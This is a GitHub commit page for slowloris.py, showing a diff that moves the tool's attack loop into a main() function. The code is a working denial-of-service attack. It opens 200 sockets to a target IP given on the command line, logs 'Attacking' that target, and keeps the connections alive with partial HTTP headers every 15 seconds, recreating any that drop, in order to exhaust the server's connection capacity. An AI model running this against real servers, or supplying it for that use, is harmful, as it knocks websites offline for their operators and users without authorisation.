Skip to content

Commit

Permalink
Added main function to slowloris.py
Browse files Browse the repository at this point in the history
  • Loading branch information
gkbrk committed Apr 26, 2015
1 parent 18cb078 commit f5b884c
Showing 1 changed file with 28 additions and 27 deletions.
55 changes: 28 additions & 27 deletions slowloris.py
Original file line number Diff line number Diff line change
Expand Up @@ -26,32 +26,33 @@ def init_socket(ip):
s.send("{}\r\n".format(header).encode("utf-8"))
return s

ip = sys.argv[1]
socket_count = 200
log("Attacking {} with {} sockets.".format(ip, socket_count))

log("Creating sockets...")
for _ in range(socket_count):
try:
log("Creating socket nr {}".format(_), level=2)
s = init_socket(ip)
except socket.error:
break
list_of_sockets.append(s)

while True:
log("Sending keep-alive headers... Socket count: {}".format(len(list_of_sockets)))
for s in list_of_sockets:
try:
s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
except socket.error:
list_of_sockets.remove(s)
for i in range(socket_count - len(list_of_sockets)):
log("Recreating socket...")
def main():
ip = sys.argv[1]
socket_count = 200
log("Attacking {} with {} sockets.".format(ip, socket_count))

log("Creating sockets...")
for _ in range(socket_count):
try:
log("Creating socket nr {}".format(_), level=2)
s = init_socket(ip)
if s:
list_of_sockets.append(s)
except:
pass
time.sleep(15)
except socket.error:
break
list_of_sockets.append(s)

while True:
log("Sending keep-alive headers... Socket count: {}".format(len(list_of_sockets)))
for s in list_of_sockets:
try:
s.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
except socket.error:
list_of_sockets.remove(s)
for i in range(socket_count - len(list_of_sockets)):
log("Recreating socket...")
try:
s = init_socket(ip)
if s:
list_of_sockets.append(s)
except:
pass
time.sleep(15)

0 comments on commit f5b884c

Please sign in to comment.